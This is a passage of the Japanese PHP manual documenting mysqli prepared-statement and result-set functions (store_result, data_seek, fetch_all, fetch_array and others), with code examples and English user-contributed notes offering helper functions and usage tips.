$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* テーブルを削除します */
    $mysqli->query("DROP TABLE myCountry");

    /* クエリを実行します */
    $stmt->execute();

    printf("Error: %s.\n", $stmt->sqlstate);

    /* ステートメントを閉じます */
    $stmt->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
/* 接続をオープンします */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* テーブルを削除します */
    mysqli_query($link, "DROP TABLE myCountry");

    /* クエリを実行します */
    mysqli_stmt_execute($stmt);

    printf("Error: %s.\n", mysqli_stmt_sqlstate($stmt));

    /* ステートメントを閉じます */
    mysqli_stmt_close($stmt);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Error: 42S02.

参考

  • mysqli_stmt_errno() - 直近のステートメントのコールに関するエラーコードを返す
  • mysqli_stmt_error() - 直近のステートメントのエラー内容を文字列で返す

User Contributed Notes

There are no user contributed notes for this page.


プリペアドステートメントから結果を転送する

  • ≪ mysqli_stmt::$sqlstate
  • mysqli_result ≫
  • PHP Manual
  • mysqli_stmt
  • プリペアドステートメントから結果を転送する

mysqli_stmt::store_result

mysqli_stmt_store_result

(PHP 5, PHP 7)

mysqli_stmt::store_result -- mysqli_stmt_store_result — プリペアドステートメントから結果を転送する

説明

オブジェクト指向型

public mysqli_stmt::store_result ( ) : bool

手続き型

mysqli_stmt_store_result ( mysqli_stmt $stmt ) : bool

クエリが結果セットを返す場合（SELECT, SHOW, DESCRIBE, EXPLAIN）、常に mysqli_stmt_store_result() をコールする必要があります。また、この関数は結果セットをクライアントの バッファに格納するだけであり、データを取得するには続けて mysqli_stmt_fetch() をコールします。

注意:

その他のクエリでは mysqli_stmt_store_result() をコールする必要はありません。しかし、もしコールしてしまったとしても パフォーマンスへの悪影響は一切ありません。クエリが結果セットを 返すかどうかは、mysqli_stmt_result_metadata() が false を返すかどうかで調べられます。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 オブジェクト指向型

<?php
/* 接続をオープンします */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = $mysqli->prepare($query)) {

    /* クエリを実行します */
    $stmt->execute();

    /* 結果を保存します */
    $stmt->store_result();

    printf("Number of rows: %d.\n", $stmt->num_rows);

    /* 結果を開放します */
    $stmt->free_result();

    /* ステートメントを閉じます */
    $stmt->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
/* 接続をオープンします */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = mysqli_prepare($link, $query)) {

    /* クエリを実行します */
    mysqli_stmt_execute($stmt);

    /* 結果を格納します */
    mysqli_stmt_store_result($stmt);

    printf("Number of rows: %d.\n", mysqli_stmt_num_rows($stmt));

    /* 結果を開放します */
    mysqli_stmt_free_result($stmt);

    /* ステートメントを閉じます */
    mysqli_stmt_close($stmt);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Number of rows: 20.

参考

  • mysqli_prepare() - 実行するための SQL文 を準備する
  • mysqli_stmt_result_metadata() - プリペアドステートメントから結果セットのメタデータを返す
  • mysqli_stmt_fetch() - プリペアドステートメントから結果を取得し、バインド変数に格納する

User Contributed Notes

user at NOSPAM dot example dot com 15-Nov-2017 02:15
This statement in the docs...

"You can detect whether the query produced a result set by checking if mysqli_stmt_result_metadata() returns NULL. "

...might need updated.  I get FALSE instead of NULL.
kitlum AT ukr DOT net 26-Jun-2015 10:18
Lost some hours to find out how to save multirows result of mysqli_stmt to array, when get_result prohibited.
Idea, which works is using store_result
            $stmt=$this->mysqli->prepare("SELECT surname, name, user_id, last_m_own, last_m_str, role FROM users WHERE referer_id=(?)");
                $stmt->bind_param('i',$referer_id);
                $stmt->execute();
                $stmt->store_result();
                $stmt->bind_result($ans['surname'], $ans['name'], $ans['user_id'], $ans['last_m_own'], $ans['last_m_str'], $ans['role']);
                $j=$stmt->num_rows;
                for ($i=0;$i<$j;$i++){
                    $stmt->data_seek($i);
                    $stmt->fetch();
                    foreach ($ans as $key=>$value){
                        $result[$i][$key]=$value;
                    }
                }
Hope will helpful for such newbies as me
Lars Gyrup Brink Nielsen 09-Oct-2013 10:10
Actually, mysqli_stmt_result_metadata() returns FALSE, not NULL, when the query/statement doesn't produce a result set. You would have to check the if the $mysqliObject->error is an empty string to see whether the FALSE return means that the query does not produce a result set or that an error occured.
pcc at pccglobal dot com 30-Jul-2010 04:16
When using prepare to prepare a statement to retrieve LOBs the method order matters.
Also, method 'store_result()' must be called and be called in correct order.
Failure to observe this causes PHP/MySQLi to crash or return an erroneous value.
The proper procedure order is: prepare -> execute -> store_result -> bind -> fetch
The following applies to a Windows SBS server running IIS/6.0 + PHP 5.2.1
MySQL server version 5.0.26-community-nt, client version 5.0.51a

<?php
$database = "test" ;
$table = "test" ;
$column = "flongblob" ;
$mysqli = new mysqli("localhost", "root", "<secret_password>", $database);
// Proper procedure order: prepare -> execute -> store_result -> bind -> fetch
$stmt = $mysqli->prepare("SELECT `$column` FROM `$table`") ;
$stmt->execute();
$stmt->store_result();
// Fetch a record. Bind the result to a variable called 'value' and fetch.
$stmt->bind_result($value) ;
$res = $stmt->fetch() ;
if($res)
{
  // strlen($value) should have LOB length, not 1 or zero.
  echo "$column data length is " . strlen($value) . " bytes.\n" ;
}
else
{
  echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  break ;
}
// Fetch another record.
$res = $stmt->fetch() ;
if($res)
{
  // strlen($value) should have LOB length, not 1 or zero.
  echo "$column data length is " . strlen($value) . " bytes.\n" ;
}
else
{
  echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  break ;
}
$stmt->close() ;
$mysqli->close() ;
exit ;
?>

The above example should output:
  flongblob data length is 932353 bytes.
  flongblob data length is 867300 bytes.

If wrong procedure order MySQLi crashes or outputs:
  flongblob data length is 0 bytes.
  flongblob data length is 867300 bytes.
neromir at hotmail dot com 28-Oct-2008 07:14
The wording above, in the initial description of the function, can be confusing (quoted below).

"You must call mysqli_stmt_store_result() for every query that successfully produces a result set (SELECT, SHOW, DESCRIBE, EXPLAIN), and only if you want to buffer the complete result set by the client, so that the subsequent mysqli_stmt_fetch() call returns buffered data. "

I had initially understood the part saying "and only if you want to buffer..." to mean that it was only necessary to call this function if you wanted to buffer the result set.  This, however, is not the case, and the misunderstanding caused me quite a bit of grief.

So, to clarify for anyone suffering from the same misunderstanding, you ALWAYS must call this function for every query that produces a result set (as listed in the parentheses of the quote above), as far as I can tell.
Typer85 at gmail dot com 27-Dec-2006 03:58
In response to the note below me for the claim that mysqli_fetch_fields is not compatible with prepared statements.

This is untrue, it is but you have to do a little extra work. I would recommend you use a wrapper function of some sort to take care of the dirty business for you but the basic idea is the same.

Let's assume you have a prepared statement like so. I am going to use the procedural way for simplicity but the same idea can be done using the object oriented way:

<?php

// Connect Blah Blah Blah.

$connectionLink = mysqli_connect( .... );

// Query Blab Blah Blah.

$query = "Select `Id` From `Table` Where `Id` = ?";

// Prepare Query.

$prepareObject = mysqli_prepare( $connectionLink , $query );

// Bind Query.

mysqli_stmt_bind_param( $prepareObject , 'i' , 1 );

// Execute Query.

mysqli_stmt_execute( $prepareObject );

?>

Now all the above is fine and dandy to anyone familiar with using prepared statements, but if I want to use mysqli_fetch_fields or any other function that fetches meta information about a result set but does not work on prepared statements?

Enter the special function mysqli_stmt_result_metadata. It can be used as follows, assume the following code segment immediatley follows that of the above code segment.

<?php

$metaData = mysqli_stmt_result_metadata( $prepareObject );

// I Can Now Call mysqli_fetch_fields using the variable
// $metaData as an argument.

$fieldInfo = mysqli_fetch_fields( $metaData );

// Or Even This.

$fieldInfo = mysqli_num_fields( $metaData );

?>

Take a look at the Manual entry for mysqli_stmt_result_metatdata function for full details on how to expose it with prepared statements.

Good Luck,
UCFirefly (at) yahoo.com 20-Feb-2006 12:25
fetch_fields() does not seem to be compatible with prepared statements like those used here. Makes things difficult if you're using a wildcard. I guess that's better for security in some obscure way.

-Alex Boese


mysqli_result クラス

(PHP 5, PHP 7)

はじめに

データベースへのクエリにより得られた結果セットを表します。

クラス概要

mysqli_result {
/* プロパティ */
int $current_field ;
int $field_count;
array $lengths;
int $num_rows;
/* メソッド */
public data_seek ( int $offset ) : bool
public fetch_all ( int $resulttype = MYSQLI_NUM ) : mixed
public fetch_array ( int $resulttype = MYSQLI_BOTH ) : mixed
public fetch_assoc ( ) : array
public fetch_field_direct ( int $fieldnr ) : object
public fetch_field ( ) : object
public fetch_fields ( ) : array
public fetch_object ( string $class_name = "stdClass" , array $params = ? ) : object
public fetch_row ( ) : mixed
public field_seek ( int $fieldnr ) : bool
public free ( ) : void
public close ( ) : void
public free_result ( ) : void
}

目次

  • mysqli_result::$current_field — 結果ポインタにおける現在のフィールドオフセットを取得する
  • mysqli_result::data_seek — 結果の任意の行にポインタを移動する
  • mysqli_result::fetch_all — 結果のすべての行を連想配列・数値添字配列あるいはその両方の形式で取得する
  • mysqli_result::fetch_array — 結果の行を連想配列・数値添字配列あるいはその両方の形式で取得する
  • mysqli_result::fetch_assoc — 結果の行を連想配列で取得する
  • mysqli_result::fetch_field_direct — 単一のフィールドのメタデータを取得する
  • mysqli_result::fetch_field — 結果セットの次のフィールドを返す
  • mysqli_result::fetch_fields — 結果セットのフィールド情報をオブジェクトの配列で返す
  • mysqli_result::fetch_object — 結果セットの現在の行をオブジェクトとして返す
  • mysqli_result::fetch_row — 結果の行を数値添字配列で取得する
  • mysqli_result::$field_count — 結果のフィールド数を取得する
  • mysqli_result::field_seek — 結果ポインタを、指定したフィールドオフセットに設定する
  • mysqli_result::free — 結果に関連付けられたメモリを開放する
  • mysqli_result::$lengths — 結果セットにおける現在の行のカラムの長さを返す
  • mysqli_result::$num_rows — 結果の行数を取得する

User Contributed Notes

Cem Kayali / cemkayali(a)eticaret.com.tr 28-Sep-2018 02:20
Switching from Php5 to Php7, especially if you have worked on an ongoing, long term project, it is unfortunate that there is no mysqli_result function.

So, this may be helpfull and you can call this function as you wish. I assume you do restricted search (searching for single row or few rows only).

function mysqli_result($search, $row, $field){
$i=0; while($results=mysqli_fetch_array($search)){
if ($i==$row){$result=$results[$field];}
$i++;}
return $result;}

Simply;

$search=mysqli_query($connection, "select name from table_name where id='7'");
$name=mysqli_result($search, 0, "id");

Best wishes,
marcus at synchromedia dot co dot uk 26-Aug-2015 03:28
If you're using the iterator interface on a result instance ($r), like this:

    foreach ($r as $d) {

the iterated value ($d) is an associative-only array, i.e. it's the same as doing this:

    while ($d = $r->fetch_assoc()) {

and NOT like this:

    while ($d = $r->fetch_row()) {

so you can't access row elements by numeric index ($d[0] etc) if you use the foreach syntax.
Marc17 26-Jan-2014 04:50
An "mysqli_result" function where $field can be like table_name.field_name with alias or not.
<?php
function mysqli_result($result,$row,$field=0) {
    if ($result===false) return false;
    if ($row>=mysqli_num_rows($result)) return false;
    if (is_string($field) && !(strpos($field,".")===false)) {
        $t_field=explode(".",$field);
        $field=-1;
        $t_fields=mysqli_fetch_fields($result);
        for ($id=0;$id<mysqli_num_fields($result);$id++) {
            if ($t_fields[$id]->table==$t_field[0] && $t_fields[$id]->name==$t_field[1]) {
                $field=$id;
                break;
            }
        }
        if ($field==-1) return false;
    }
    mysqli_data_seek($result,$row);
    $line=mysqli_fetch_array($result);
    return isset($line[$field])?$line[$field]:false;
}
?>
tuxedobob 20-Aug-2012 09:35
Converting an old project from using the mysql extension to the mysqli extension, I found the most annoying change to be the lack of a corresponding mysql_result function in mysqli. While mysql_result is a generally terrible function, it was useful for fetching a single result field *value* from a result set (for example, if looking up a user's ID).

The behavior of mysql_result is approximated here, though you may want to name it something other than mysqli_result so as to avoid thinking it's an actual, built-in function.

<?php
function mysqli_result($res, $row, $field=0) {
    $res->data_seek($row);
    $datarow = $res->fetch_array();
    return $datarow[$field];
}
?>

Implementing it via the OO interface is left as an exercise to the reader.
sinisaculic at gmail dot com 21-Oct-2010 01:58
storing this object in ANY kind will result in storing an empty object... if you try to serialize it dump it or do anything with it you will end up with a empty object.

you have to pull all data out f the object and then store the data... no other way.
Anonymous 18-Apr-2010 11:39
Generally, it appears Mysqli OO vs Procedural style has no significant difference in speed, at least with the more generally used functions and methods (connect, close, query, free, etc).

With the fetch_* family of functions and methods dealing with result rows, however, Procedural wins out.  Averaging over a hundred or so tests with a result set of 180,000 records, and using mysqli_fetch_*() functions vs. their mysqli_result::fetch_*() counterpart object methods to read and iterate over all records, all of the mysqli_fetch_*() functions win by ~0.1 seconds less.

This is interesting considering we're dealing with the same result object in both styles.

This was using Vistax64, PHP5.3.2, Mysql 5.1.45, using a bit of this code:

<?php

// procedural - takes 0.1 seconds less than OO here
$stopwatch = microtime(true);
while($row = mysqli_fetch_assoc($result)){
    ++$z;
    }
echo microtime(true) - $stopwatch;

// OO
$stopwatch = microtime(true);
while($row = $result->fetch_assoc()){
    ++$z;
    }
echo microtime(true) - $stopwatch;

?>
blar at blar dot de 08-Jan-2009 02:47
Extending the MySQLi_Result

<?php

class Database_MySQLi extends MySQLi
{
    public function query($query)
    {
        $this->real_query($query);
        return new Database_MySQLi_Result($this);
    }
}

class Database_MySQLi_Result extends MySQLi_Result
{
    public function fetch()
    {
        return $this->fetch_assoc();
    }

    public function fetchAll()
    {
        $rows = array();
        while($row = $this->fetch())
        {
            $rows[] = $row;
        }
        return $rows;
    }
}

?>


結果ポインタにおける現在のフィールドオフセットを取得する

  • ≪ mysqli_result
  • mysqli_result::data_seek ≫
  • PHP Manual
  • mysqli_result
  • 結果ポインタにおける現在のフィールドオフセットを取得する

mysqli_result::$current_field

mysqli_field_tell

(PHP 5, PHP 7)

mysqli_result::$current_field -- mysqli_field_tell — 結果ポインタにおける現在のフィールドオフセットを取得する

説明

オブジェクト指向型

int $mysqli_result->current_field ;

手続き型

mysqli_field_tell ( mysqli_result $result ) : int

直近の mysqli_fetch_field() のコールで使用した フィールドカーソルの位置を返します。この値は mysqli_field_seek() の引数として使用可能です。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

返り値

フィールドカーソルの現在のオフセットを返します。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* すべてのカラムのフィールド情報を取得します */
    while ($finfo = $result->fetch_field()) {

        /* フィールドポインタのオフセットを取得します */
        $currentfield = $result->current_field;

        printf("Column %d:\n", $currentfield);
        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    $result->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* すべてのカラムのフィールド情報を取得します */
    while ($finfo = mysqli_fetch_field($result)) {

        /* フィールドポインタのオフセットを取得します */
        $currentfield = mysqli_field_tell($result);

        printf("Column %d:\n", $currentfield);
        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    mysqli_free_result($result);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Column 1:
Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Column 2:
Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

参考

  • mysqli_fetch_field() - 結果セットの次のフィールドを返す
  • mysqli_field_seek() - 結果ポインタを、指定したフィールドオフセットに設定する

User Contributed Notes

There are no user contributed notes for this page.


結果の任意の行にポインタを移動する

  • ≪ mysqli_result::$current_field
  • mysqli_result::fetch_all ≫
  • PHP Manual
  • mysqli_result
  • 結果の任意の行にポインタを移動する

mysqli_result::data_seek

mysqli_data_seek

(PHP 5, PHP 7)

mysqli_result::data_seek -- mysqli_data_seek — 結果の任意の行にポインタを移動する

説明

オブジェクト指向型

public mysqli_result::data_seek ( int $offset ) : bool

手続き型

mysqli_data_seek ( mysqli_result $result , int $offset ) : bool

mysqli_data_seek() 関数は、 結果セットの任意の行 offset にポインタを移動します。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

offset

フィールドオフセット。ゼロから全行数 - 1 までの間 （0..mysqli_num_rows() - 1）である必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、mysqli_store_result() あるいは mysqli_query() によって取得した、 バッファに格納されている結果に対してのみ使用可能です。

例

例1 オブジェクト指向型

<?php
/* 接続をオープンします */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($result = $mysqli->query($query)) {

    /* 行番号 400 に移動します */
    $result->data_seek(399);

    /* 行を取得します */
    $row = $result->fetch_row();

    printf ("City: %s  Countrycode: %s\n", $row[0], $row[1]);

    /* 結果セットを開放します */
    $result->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
/* 接続を開きます */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";

if ($result = mysqli_query($link, $query)) {

    /* 行番号 400 に移動します */
    mysqli_data_seek($result, 399);

    /* 行を取得します */
    $row = mysqli_fetch_row($result);

    printf ("City: %s  Countrycode: %s\n", $row[0], $row[1]);

    /* 結果セットを開放します */
    mysqli_free_result($result);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

City: Benin City  Countrycode: NGA

参考

  • mysqli_store_result() - 直近のクエリから結果セットを転送する
  • mysqli_fetch_row() - 結果の行を数値添字配列で取得する
  • mysqli_fetch_array() - 結果の行を連想配列・数値添字配列あるいはその両方の形式で取得する
  • mysqli_fetch_assoc() - 結果の行を連想配列で取得する
  • mysqli_fetch_object() - 結果セットの現在の行をオブジェクトとして返す
  • mysqli_query() - データベース上でクエリを実行する
  • mysqli_num_rows() - 結果の行数を取得する

User Contributed Notes

kaisellgren at gmail dot com 09-Sep-2008 12:07
This is useful function when you try to loop through the resultset numerous times.

For example:

<?php

$result = mysqli_query($connection_id,$query);

while ($row = mysqli_fetch_assoc($result))
 {
  // Looping through the resultset.
 }

// Now if you need to loop through it again, you would first call the seek function:
mysqli_data_seek($result,0);

while ($row = mysqli_fetch_assoc($result))
 {
  // Looping through the resultset again.
 }

?>


結果のすべての行を連想配列・数値添字配列あるいはその両方の形式で取得する

  • ≪ mysqli_result::data_seek
  • mysqli_result::fetch_array ≫
  • PHP Manual
  • mysqli_result
  • 結果のすべての行を連想配列・数値添字配列あるいはその両方の形式で取得する

mysqli_result::fetch_all

mysqli_fetch_all

(PHP 5 >= 5.3.0, PHP 7)

mysqli_result::fetch_all -- mysqli_fetch_all — 結果のすべての行を連想配列・数値添字配列あるいはその両方の形式で取得する

説明

オブジェクト指向型

public mysqli_result::fetch_all ( int $resulttype = MYSQLI_NUM ) : mixed

手続き型

mysqli_fetch_all ( mysqli_result $result , int $resulttype = MYSQLI_NUM ) : mixed

mysqli_fetch_all() は、 すべての結果の行を取得してその結果セットを連想配列・数値添字配列あるいはその両方で返します。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

resulttype

このオプションは、 結果の行データから返す配列の型を指定します。ここで指定可能な値は 定数 MYSQLI_ASSOC、 MYSQLI_NUM あるいは MYSQLI_BOTH. のいずれかです。

返り値

結果の行を含む連想配列あるいは数値添字配列の配列を返します。

MySQL ネイティブドライバ限定

mysqlnd でのみ使用可能です。

mysqli_fetch_all() は、すべての行を配列にまとめて一括で返します。 そのため、mysqli_fetch_array() のように結果セットから一行ずつ返す同等の関数に比べるとメモリの消費量が多くなる可能性があります。 また、結果セットを順に処理していく際にはループ構造が必要となり、 さらにパフォーマンスに影響を及ぼすでしょう。これらを考慮すると、 mysqli_fetch_all() を使うのは 結果セットを別のレイヤーに渡して処理させるなどの特別な場合に限定しなければなりません。

参考

  • mysqli_fetch_array() - 結果の行を連想配列・数値添字配列あるいはその両方の形式で取得する
  • mysqli_query() - データベース上でクエリを実行する

User Contributed Notes

mail2magvay at rambler dot ru 22-May-2019 11:39
By the way, this case pretty work's too:

$services = $mysqli->query("SELECT * FROM table1");

if($services && $services->num_rows>0){
    $services->fetch_all(MYSQLI_ASSOC);
}

foreach($services as $service){
    echo $service; //work properly, cause it implements Iterator
}

That's mean in this case $services is a valid array (or empty array)
jcastro at eftec dot cl 09-Feb-2015 02:26
I tested using "fetch all" versus "while / fetch array" and :

fetch-all uses less memory (but not for so much).

In my case (test1 and test2): 147008,262848 bytes (fetch-all) versus 147112,262888 bytes (fetch-array & while.

So, about the memory, in both cases are the same.

However, about the performance
My test takes :350ms (worst case) using fetch-all, while it takes 464ms (worst case) using fetch-array, or about 35% worst using fetch array and a while cycle.

So, using fetch-all, for a normal code that returns a moderate amount of information is :
a) cleaner (a single line of code)
b) uses less memory (about 0.01% less)
c) faster.

php 5.6 32bits, windows 8.1 64bits
m dot amiot at otak-arts dot com 20-Mar-2012 10:27
If you really need this function, you can just extend the mysqli_result class with a function like this one.

<?php
        public function fetch_all($resulttype = MYSQLI_NUM)
        {
            if (method_exists('mysqli_result', 'fetch_all')) # Compatibility layer with PHP < 5.3
                $res = parent::fetch_all($resulttype);
            else
                for ($res = array(); $tmp = $this->fetch_array($resulttype);) $res[] = $tmp;

            return $res;
        }
?>
andrey at php dot net 10-Aug-2010 07:38
Return value changed in 5.3.3 - between 5.3.0 and 5.3.2 (incl.) when the result set was empty NULL was returned. 5.3.3+ returns an empty array.
Also, mysqli_fetch_all works only for buffered result sets, which are the default for mysqli_query. MYSQLI_USE_RESULT will be supported in 5.3.4+
However, it makes little sense to use it this way, materialising unbuffered sets. In this case choose STORE_RESULT, and fetch_all won't copy the data, but reference it, as it is stored already in mysqlnd.


結果の行を連想配列・数値添字配列あるいはその両方の形式で取得する

  • ≪ mysqli_result::fetch_all
  • mysqli_result::fetch_assoc ≫
  • PHP Manual
  • mysqli_result
  • 結果の行を連想配列・数値添字配列あるいはその両方の形式で取得する

mysqli_result::fetch_array

mysqli_fetch_array

(PHP 5, PHP 7)

mysqli_result::fetch_array -- mysqli_fetch_array — 結果の行を連想配列・数値添字配列あるいはその両方の形式で取得する

説明

オブジェクト指向型

public mysqli_result::fetch_array ( int $resulttype = MYSQLI_BOTH ) : mixed

手続き型

mysqli_fetch_array ( mysqli_result $result , int $resulttype = MYSQLI_BOTH ) : mixed

取得した行に対応する配列を返します。 結果セットに対して行がなければ、null を返します。

データを数値添字の 配列に格納することに加えて、この関数は 結果セットのフィールド名をキーとする連想配列にもデータを格納できます。

注意: この関数により返されるフィー ルド名は 大文字小文字を区別 します。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

もし 2 つ以上のカラムが同じフィールド名であった場合は、最後に現れた カラムが優先され、以前のデータを上書きします。同名の複数のカラムに アクセスする場合、数値添字版の行データを使用しなければなりません。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

resulttype

このオプションは、 結果の行データから返す配列の型を指定します。ここで指定可能な値は 定数 MYSQLI_ASSOC、 MYSQLI_NUM あるいは MYSQLI_BOTH. のいずれかです。

MYSQLI_ASSOC 定数を指定すると、この関数は mysqli_fetch_assoc() と同じ結果を返します。一方 MYSQLI_NUM を指定すると、mysqli_fetch_row() 関数と同じ結果となります。最後の MYSQLI_BOTH を指定すると、 ひとつの配列にこれら両方の属性を含めます。

返り値

取得した行に対応する値の配列を返します。結果セットにもう行がない場合には null を返します。

例

例1 mysqli_result::fetch_array() の例

オブジェクト指向型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID LIMIT 3";
$result = $mysqli->query($query);

/* 数値添字配列 */
$row = $result->fetch_array(MYSQLI_NUM);
printf("%s (%s)\n", $row[0], $row[1]);

/* 連想配列 */
$row = $result->fetch_array(MYSQLI_ASSOC);
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* 連想配列および数値添字配列 */
$row = $result->fetch_array(MYSQLI_BOTH);
printf("%s (%s)\n", $row[0], $row["CountryCode"]);

手続き型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = mysqli_query($mysqli, $query);

/* 数値添字配列 */
$row = mysqli_fetch_array($result, MYSQLI_NUM);
printf("%s (%s)\n", $row[0], $row[1]);

/* 連想配列 */
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* 連想配列および数値添字配列 */
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
printf("%s (%s)\n", $row[0], $row["CountryCode"]);

上の例の出力は、 たとえば以下のようになります。

Kabul (AFG)
Qandahar (AFG)
Herat (AFG)

参考

  • mysqli_fetch_assoc() - 結果の行を連想配列で取得する
  • mysqli_fetch_row() - 結果の行を数値添字配列で取得する
  • mysqli_fetch_object() - 結果セットの現在の行をオブジェクトとして返す
  • mysqli_query() - データベース上でクエリを実行する
  • mysqli_data_seek() - 結果の任意の行にポインタを移動する

User Contributed Notes

meaje at msn dot com 08-Dec-2017 09:08
Please note that under PHP 5.x there appears to be a globally defined variable MYSQL_ASSOC, MYSQL_NUM, or MYSQL_BOTH which is the equivalent of MYSQLI_ASSOC, MYSQLI_NUM, or MYSQLI_BOTH!!! Yet under PHP 7.x this is NOT the case and will cause a failure in trying to retrieve the result set!

This can cause severe headaches when trying to find out why you are getting the error:
 - mysqli_result::fetch_array() expects parameter 1 to be integer, string given in 'Filename' on line 'XX'
Duncan 25-Jan-2013 11:07
Note that the array returned contains only strings.

E.g. when a MySQL field is an INT you may expect the field to be returned as an integer, however all fields are simply returned as strings.

What this means: use double-equals not triple equals when comparing numbers.

<?php
print $array_from_mysqli_fetch_array['id'] == 1 ? "true" : "false"; // true
print $array_from_mysqli_fetch_array['id'] === 1 ? "true" : "false"; // false
?>
ahouston at gmail dot com 31-May-2011 02:39
Here is a function to return an associative array with multiple columns as keys to the array.

This is a rough approximation of the perl DBI->fetchall_hashref function - something I find myself using quite a bit.

Given a simple mySQL table:

mysql> select * from city;
+----------------+----------------+------------------+------------+
| country        | region         | city             | hemisphere |
+----------------+----------------+------------------+------------+
| South Africa   | KwaZulu-Natal  | Durban           | South      |
| South Africa   | Gauteng        | Johannesburg     | South      |
| South Africa   | Gauteng        | Tshwane          | South      |
| South Africa   | KwaZulu-Natal  | Pietermaritzburg | South      |
| United Kingdom | Greater London | City of London   | North      |
| United Kingdom | Greater London | Wimbledon        | North      |
| United Kingdom | Lancashire     | Liverpool        | North      |
| United Kingdom | Lancashire     | Manchester       | North      |
+----------------+----------------+------------------+------------+

*Note* - this is a simple function that makes no attempt to keep multiple values per key, so you need to specify all the unique keys you require.

<?php

        $link = mysqli_connect("localhost", "username", "password", "test");
        $result = mysqli_query($link, "select * from city");
        $results_arr = fetch_all_assoc($result,array('hemisphere','country','region','city'));

function fetch_all_assoc(& $result,$index_keys) {

  // Args :    $result = mysqli result variable (passed as reference to allow a free() at the end
  //           $indexkeys = array of columns to index on
  // Returns : associative array indexed by the keys array

  $assoc = array();             // The array we're going to be returning

  while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {

        $pointer = & $assoc;            // Start the pointer off at the base of the array

